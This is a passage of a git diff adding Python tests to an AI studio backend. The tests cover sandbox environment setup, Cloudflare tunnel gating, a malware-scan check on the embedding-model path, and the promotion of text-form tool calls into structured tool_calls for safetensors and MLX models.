+    def test_bypass_env_prepends_shim_and_keeps_inherited_pythonpath(self, monkeypatch, tmp_path):
+        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+
+        monkeypatch.setenv("PYTHONPATH", "/operator/libs")
+        env = _build_bypass_env(str(tmp_path))
+        parts = env["PYTHONPATH"].split(os.pathsep)
+        # Shim first so its open()/makedirs remap wins, operator entries kept.
+        assert parts[0] == _SANDBOX_SITE_DIR
+        assert "/operator/libs" in parts
+
 
 class TestSandboxCpuRlimitDefault:
     """Pin the default so a regression below 600s without opt-in is caught."""
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index 1f7608a4fc..2c13e13bbb 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -21,7 +21,7 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
 @pytest.mark.parametrize(
     "cloudflare,host,secure,api_only,is_colab,expected",
     [
-        # Non-secure wildcard binds tunnel by default.
+        # Non-secure wildcard binds tunnel only when --cloudflare is passed (True).
         (True, "0.0.0.0", False, False, False, True),
         (True, "::", False, False, False, True),
         (True, "127.0.0.1", False, False, False, False),
@@ -33,6 +33,10 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
         (False, "0.0.0.0", False, False, False, False),
         (False, "::", False, False, False, False),
         (False, "127.0.0.1", True, False, False, False),
+        # Unset (None, no flag) behaves as off for non-secure binds.
+        (None, "0.0.0.0", False, False, False, False),
+        (None, "::", False, False, False, False),
+        (None, "127.0.0.1", False, False, False, False),
         # Non-secure api-only never tunnels (Tauri).
         (True, "0.0.0.0", False, True, False, False),
         (True, "::", False, True, False, False),
@@ -155,11 +159,12 @@ def test_startup_output_emits_disabled_notice(capsys, monkeypatch):
 
 
 def test_run_server_rejects_secure_without_cloudflare():
-    # Direct backend callers (not just the CLI) must reject the contradictory combo.
+    # Direct backend callers (not just the CLI) must reject the contradictory
+    # combo: --secure asks for the tunnel, --no-cloudflare (cloudflare=False) forbids it.
     import run
     with pytest.raises(SystemExit) as exc:
         run.run_server(secure = True, cloudflare = False)
-    assert "A secure Cloudflare link is not allowed" in str(exc.value)
+    assert "do not combine it with --no-cloudflare" in str(exc.value)
 
 
 def test_failclosed_message_present_in_source():
diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py
index db66df8a30..b5f1069f12 100644
--- a/studio/backend/tests/test_security_gate_consistency.py
+++ b/studio/backend/tests/test_security_gate_consistency.py
@@ -99,3 +99,16 @@ def test_malware_and_consent_gates_cover_the_lora_base():
         if runs_gate and not resolves_base:
             offenders.append(f"{rel} runs a load gate but never resolves the LoRA base")
     assert not offenders, "\n".join(offenders)
+
+
+def test_rag_embedding_path_runs_the_malware_gate():
+    """The RAG embedding model is set through /settings and later loaded by
+    SentenceTransformer, which deserializes pickles; both sites must run the malware gate
+    or a flagged repo loads unscanned (bypassing the normal model-load protections)."""
+    offenders = []
+    for rel in ("routes/settings.py", "core/rag/embeddings.py"):
+        if "evaluate_file_security(" not in (_BACKEND / rel).read_text():
+            offenders.append(
+                f"{rel} loads/persists an embedding model without evaluate_file_security"
+            )
+    assert not offenders, "\n".join(offenders)
diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py
new file mode 100644
index 0000000000..f91eec9817
--- /dev/null
+++ b/studio/backend/tests/test_sf_client_tools_passthrough.py
@@ -0,0 +1,841 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Client-tools passthrough healing for the safetensors/MLX backend.
+
+Parity for #6801: when a NON-GGUF model is loaded and the request declares its
+own ``tools`` with server-side tools OFF, text-form tool calls are promoted back
+into structured ``tool_calls`` (declared tools only) via the shared healer. MLX
+rides the same orchestrator path, so a single scripted backend covers both.
+"""
+
+import asyncio
+import json
+from types import SimpleNamespace
+
+from models.inference import ChatCompletionRequest, ChatMessage
+from routes.inference import openai_chat_completions
+from core.inference.api_monitor import ApiMonitor
+
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "lookup",
+        "description": "Look something up",
+        "parameters": {
+            "type": "object",
+            "properties": {"q": {"type": "string"}},
+            "required": ["q"],
+        },
+    },
+}
+SEARCH_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "search",
+        "parameters": {
+            "type": "object",
+            "properties": {"query": {"type": "string"}},
+            "required": ["query"],
+        },
+    },
+}
+
+_CALL_XML = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}</tool_call>'
+_SEARCH_XML = '<tool_call>{"name": "search", "arguments": {"query": "dogs"}}</tool_call>'
+
+
+class _Request:
+    state = SimpleNamespace()
+    url = SimpleNamespace(path = "/v1/chat/completions")
+    method = "POST"
+    scope: dict = {}
+
+    async def is_disconnected(self):
+        return False
+
+
+class _ScriptedBackend:
+    """Non-GGUF backend: ``generate_chat_response`` replays scripted
+    CUMULATIVE snapshots. ``responder(messages, tools)`` returns the snapshot
+    list for one generation, so nudge tests can vary output across turns."""
+
+    active_model_name = "sf-model"
+
+    def __init__(
+        self,
+        responder,
+        *,
+        stats = None,
+    ):
+        self.models = {
+            "sf-model": {
+                "chat_template_info": {"template": "<tool_call> chatml"},
+                "context_length": 2048,
+            }
+        }
+        self._responder = responder
+        self._stats = stats
+        self.calls: list = []
+        self.reset_count = 0
+
+    def generate_chat_response(
+        self,
+        *,
+        messages,
+        tools = None,
+        stats_holder = None,
+        **kwargs,
+    ):
+        self.calls.append({"messages": messages, "tools": tools, **kwargs})
+        snapshots = self._responder(messages, tools)
+        if stats_holder is not None and self._stats is not None:
+            stats_holder["stats"] = self._stats
+        for snap in snapshots:
+            yield snap
+
+    def reset_generation_state(self):
+        self.reset_count += 1
+
+
+def _fixed(*snapshots):
+    """Responder that always replays the given cumulative snapshots."""
+    return lambda messages, tools: list(snapshots)
+
+
+def _llama_stub():
+    return SimpleNamespace(
+        is_loaded = False,
+        supports_tools = False,
+        is_vision = False,
+        context_length = None,
+    )
+
+
+def _install(
+    monkeypatch,
+    backend,
+    *,
+    supports_tools = True,
+):
+    import routes.inference as inf
+    from state.tool_policy import reset_tool_policy
+
+    reset_tool_policy()
+    monitor = ApiMonitor(max_entries = 8)
+    monkeypatch.setattr(inf, "api_monitor", monitor)
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _llama_stub())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: backend)
+    monkeypatch.setattr(
+        inf,
+        "_detect_safetensors_features",
+        lambda *a, **k: {"supports_tools": supports_tools},
+    )
+    return monitor
+
+
+def _request(**kwargs):
+    base = dict(model = "default", messages = [ChatMessage(role = "user", content = "hi")])
+    base.update(kwargs)
+    return ChatCompletionRequest(**base)
+
+
+def _call(payload, monkeypatch, backend, **install_kwargs):
+    _install(monkeypatch, backend, **install_kwargs)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    return asyncio.run(_run())
+
+
+def _json_body(response):
+    return json.loads(response.body if hasattr(response, "body") else response.content)
+
+
+def _collect_sse(response):
+    async def _run():
+        return [c async for c in response.body_iterator]
+
+    return asyncio.run(_run())
+
+
+def _sse_objects(chunks):
+    out = []
+    for chunk in chunks:
+        if isinstance(chunk, bytes):
+            chunk = chunk.decode()
+        for line in str(chunk).splitlines():
+            if line.startswith("data: "):
+                data = line.removeprefix("data: ")
+                if data != "[DONE]":
+                    out.append(json.loads(data))
+    return out
+
+
+# ── Non-streaming ─────────────────────────────────────────────────
+
+
+def test_non_reasoning_backend_keeps_literal_think_tags(monkeypatch):
+    backend = _ScriptedBackend(_fixed("show <think>example</think> tags"))
+    response = _call(_request(stream = False), monkeypatch, backend, supports_tools = False)
+
+    message = _json_body(response)["choices"][0]["message"]
+    assert message["content"] == "show <think>example</think> tags"
+    assert message["reasoning_content"] is None
+
+
+def test_xml_healed_to_tool_calls_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] is None
+    calls = choice["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+    # The client tools reached the generator (template injection).
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
+
+
+def test_undeclared_call_stays_text(monkeypatch):
+    xml = '<tool_call>{"name": "other", "arguments": {}}</tool_call>'
+    backend = _ScriptedBackend(_fixed(xml))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == xml
+
+
+def test_opt_out_relays_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, auto_heal_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_env_kill_switch_relays_verbatim(monkeypatch):
+    import core.inference.passthrough_healing as ph
+
+    monkeypatch.setattr(ph, "_HEALING_DISABLED", True)
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_no_tools_request_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("just a plain answer"))
+    payload = _request(stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    # No tools and no tool messages -> plain path, normal ChatCompletion.
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == "just a plain answer"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_prose_around_call_retained(monkeypatch):
+    text = "Let me look:\n" + _CALL_XML + "\ndone"
+    backend = _ScriptedBackend(_fixed(text))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] == "Let me look:\n\ndone"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_empty_output_is_valid_stop(monkeypatch):
+    backend = _ScriptedBackend(_fixed(""))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] in ("", None)
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_tool_role_follow_up_turn_preserves_history(monkeypatch):
+    backend = _ScriptedBackend(_fixed("The weather is sunny."))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "The weather is sunny."
+    # The tool history reached the generator intact (role=tool + assistant.tool_calls).
+    sent = backend.calls[0]["messages"]
+    roles = [m["role"] for m in sent]
+    assert "tool" in roles
+    assistant = next(m for m in sent if m["role"] == "assistant")
+    assert assistant.get("tool_calls")
+
+
+def test_dict_arguments_history_does_not_crash(monkeypatch):
+    # Non-spec client: assistant tool_calls[].function.arguments as a dict.
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": {"q": "x"}},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+
+
+def test_forced_tool_choice_narrows_promotion(monkeypatch):
+    # tool_choice forces `search`; a `lookup` text call must NOT promote.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_parallel_cap_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    calls = body["choices"][0]["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+
+
+def test_usage_recorded_when_stats_present(monkeypatch):
+    stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    backend = _ScriptedBackend(_fixed(_CALL_XML), stats = stats)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    [entry] = monitor.snapshot()
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+# ── Nudge ─────────────────────────────────────────────────────────
+
+
+def test_nudge_default_off_single_generation(monkeypatch):
+    # Signal present but unparseable; without opt-in, no retry.
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    _call(payload, monkeypatch, backend)
+    assert len(backend.calls) == 1
+
+
+def test_nudge_opt_in_retry_recovers(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+
+    def responder(messages, tools):
+        nudged = any(
+            "native tool-call format" in (m.get("content") or "")
+            for m in messages
+            if m.get("role") == "user"
+        )
+        return [_CALL_XML] if nudged else [truncated]
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_nudge_double_failure_relays_original(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2  # exactly one retry
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == truncated
+
+
+# ── Streaming ─────────────────────────────────────────────────────
+
+
+def test_streaming_heals_split_call_into_one_delta(monkeypatch):
+    # Cumulative snapshots that build the call across many increments.
+    pieces = ["<tool", '<tool_call>{"name": "loo', '<tool_call>{"name": "lookup", "argum']
+    cumulative = pieces + [_CALL_XML]
+    backend = _ScriptedBackend(_fixed(*cumulative))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["tool_calls"]
+
+
+def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch):
+    # A stream cancelled via the registry ("Stop") must NOT promote the
+    # buffered-but-unclosed tool markup at finalize, else it executes a tool
+    # the user just cancelled. Guarded on cancel_event at the finalize step.
+    import routes.inference as inf
+
+    cancel_id = "cancel-me-6870"
+    # Balanced JSON but no closing </tool_call> -> healer HOLDS it until finalize.
+    held = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}'
+
+    class _CancelMidStream(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed(held))
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            yield held  # healer holds the unclosed call
+            inf._cancel_by_cancel_id_or_stash(cancel_id)  # user hits Stop before EOF
+
+    backend = _CancelMidStream()
+    payload = _request(tools = [LOOKUP_TOOL], stream = True, cancel_id = cancel_id)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert tool_deltas == []  # no tool promoted after cancel
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert "tool_calls" not in finishes  # ends with finish_reason=stop, not tool_calls
+
+
+def test_streaming_no_tools_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed("hello ", "hello world"))
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    text = "".join(
+        (o["choices"][0]["delta"].get("content") or "")
+        for o in objs
+        if o["choices"] and "delta" in o["choices"][0]
+    )
+    assert text == "hello world"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["stop"]
+
+
+def test_streaming_gen_stream_error_is_not_model_text(monkeypatch):
+    from core.inference.orchestrator import GenStreamError
+
+    class _ErrorAfterPartial(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed())
+
+        def generate_chat_response(self, **_kwargs):
+            yield "<think>partial"
+            yield GenStreamError("Error: /tmp/secret traceback")
+
+    backend = _ErrorAfterPartial()
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend, supports_tools = False)
+    chunks = _collect_sse(response)
+    objs = _sse_objects(chunks)
+
+    deltas = [o.get("choices", [{}])[0].get("delta", {}) for o in objs if o.get("choices")]
+    assert any("partial" in json.dumps(delta) for delta in deltas)
+    assert not any("/tmp/secret" in json.dumps(delta) for delta in deltas)
+    errors = [o["error"]["message"] for o in objs if "error" in o]
+    assert errors == ["An internal error occurred."]
+    assert any(
+        "data: [DONE]" in (chunk.decode() if isinstance(chunk, bytes) else chunk)
+        for chunk in chunks
+    )
+
+
+def test_server_tool_streaming_invalid_event_is_error(monkeypatch):
+    class _InvalidEventBackend(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed())
+
+        def generate_chat_completion_with_tools(self, **_kwargs):
+            yield {"type": "content", "text": "partial"}
+            yield "not-an-event"
+
+    backend = _InvalidEventBackend()
+    payload = _request(tools = [LOOKUP_TOOL], enable_tools = True, stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+
+    errors = [o["error"]["message"] for o in objs if "error" in o]
+    assert errors == ["An internal error occurred."]
+
+
+def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch):
+    # Repeated then shrunk cumulative snapshots must not double-heal.
+    backend = _ScriptedBackend(_fixed(_CALL_XML, _CALL_XML, _CALL_XML[:5], _CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+
+
+def test_streaming_parallel_cap(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+
+
+def test_streaming_generator_error_closes_cleanly(monkeypatch):
+    def responder(messages, tools):
+        raise RuntimeError("boom /secret/path")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    chunks = _collect_sse(response)
+    joined = "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+    assert "An internal error occurred" in joined
+    assert "secret/path" not in joined  # CWE-209: no path leak
+    assert backend.reset_count >= 1
+
+
+def test_streaming_disconnect_resets_once(monkeypatch):
+    class _DisconnectRequest(_Request):
+        async def is_disconnected(self):
+            return True
+
+    backend = _ScriptedBackend(_fixed("a", "ab", "abc"))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    _install(monkeypatch, backend)
+
+    async def _run():
+        resp = await openai_chat_completions(
+            payload, request = _DisconnectRequest(), current_subject = "u"
+        )
+        return [c async for c in resp.body_iterator]
+
+    asyncio.run(_run())
+    assert backend.reset_count == 1
+
+
+def test_mlx_uses_same_path(monkeypatch):
+    # MLX and safetensors share get_inference_backend(); one scripted backend covers both.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_tool_choice_none_does_not_advertise_tools(monkeypatch):
+    # tool_choice="none": no tools rendered into the template; history templating still applies.
+    backend = _ScriptedBackend(_fixed("plain answer"))
+    payload = _request(tools = [LOOKUP_TOOL], tool_choice = "none", stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "plain answer"
+    assert backend.calls[0]["tools"] is None
+
+
+def test_developer_message_folded_into_system_prompt(monkeypatch):
+    # The "developer" role folds into one leading system message (local templates reject it).
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        messages = [
+            ChatMessage(role = "developer", content = "always be terse"),
+            ChatMessage(role = "user", content = "hi"),
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    _call(payload, monkeypatch, backend)
+    sent = backend.calls[0]["messages"]
+    assert sent[0]["role"] == "system"
+    assert "always be terse" in sent[0]["content"]
+    assert all(m.get("role") != "developer" for m in sent)
+
+
+def test_failed_nudge_retry_keeps_original_response(monkeypatch):
+    # A raising retry must not 500; the first response is returned.
+    state = {"n": 0}
+
+    def responder(messages, tools):
+        state["n"] += 1
+        if state["n"] == 1:
+            return ['<tool_call>{"name":"lookup"']  # unhealable signal
+        raise RuntimeError("retry blew up")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert state["n"] == 2
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["choices"][0]["message"]["content"] == '<tool_call>{"name":"lookup"'
+
+
+def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch):
+    # Double-failure nudge: the first response is delivered, but the retry's
+    # generate() overwrites stats_holder. The monitor must record the FIRST
+    # attempt's usage, not the discarded retry's.
+    first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}}
+
+    class _PerCallStatsBackend(_ScriptedBackend):
+        def __init__(self):
+            # Unhealable truncated markup on both attempts -> retry is discarded.
+            super().__init__(lambda m, t: ['<tool_call>{"name":"lookup"'])
+            self._stats_seq = [first_stats, retry_stats]
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            stats = self._stats_seq[min(len(self.calls) - 1, len(self._stats_seq) - 1)]
+            if stats_holder is not None:
+                stats_holder["stats"] = stats
+            for snap in self._responder(messages, tools):
+                yield snap
+
+    backend = _PerCallStatsBackend()
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    assert len(backend.calls) == 2  # first attempt + one discarded retry
+    [entry] = monitor.snapshot()
+    # The delivered response is the first attempt, so its usage must be reported.
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+def test_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    snap = monitor.snapshot(include_details = True)
+    replies = json.dumps(snap)
+    assert "<tool_call>" not in replies
+    assert "lookup" in replies
+
+
+def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    # Monitor mirrors what the client received, never the healed-away raw markup.
+    backend = _ScriptedBackend(
+        _fixed("Sure. ", 'Sure. <tool_call>{"name": "loo', "Sure. " + _CALL_XML)
+    )
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    response = asyncio.run(_run())
+    _collect_sse(response)
+    replies = json.dumps(monitor.snapshot(include_details = True))
+    assert "<tool_call>" not in replies
+    assert "Sure. " in replies
+    assert "[tool_calls] lookup(" in replies
+
+
+def test_forced_tool_choice_narrows_templated_tools(monkeypatch):
+    # A forced function is the only schema rendered into the template.
+    backend = _ScriptedBackend(_fixed(_SEARCH_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["tools"]
+    assert [t["function"]["name"] for t in templated] == ["search"]
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "search"
+
+
+def test_multimodal_content_parts_flattened_for_local_template(monkeypatch):
+    # Remote image URLs leave image=None, so content arrives as a part LIST:
+    # text parts are kept, the image part dropped.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        messages = [
+            ChatMessage(
+                role = "user",
+                content = [
+                    {"type": "text", "text": "what is this?"},
+                    {
+                        "type": "image_url",
+                        "image_url": {"url": "https://example.com/cat.png"},
+                    },
+                ],
+            )
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["messages"]
+    assert all(isinstance(m.get("content"), str) for m in templated)
+    assert any(m["content"] == "what is this?" for m in templated)
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_string_arguments_history_deserialized_for_template(monkeypatch):
+    # JSON-string tool_calls arguments become dicts in the templated copy;
+    # the HTTP response stays OpenAI-shaped.
+    backend = _ScriptedBackend(_fixed("done"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    _json_body(_call(payload, monkeypatch, backend))
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"}
+
+
+def test_unparseable_arguments_string_left_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": "not json {"},
+                    }
+                ],
+            ),
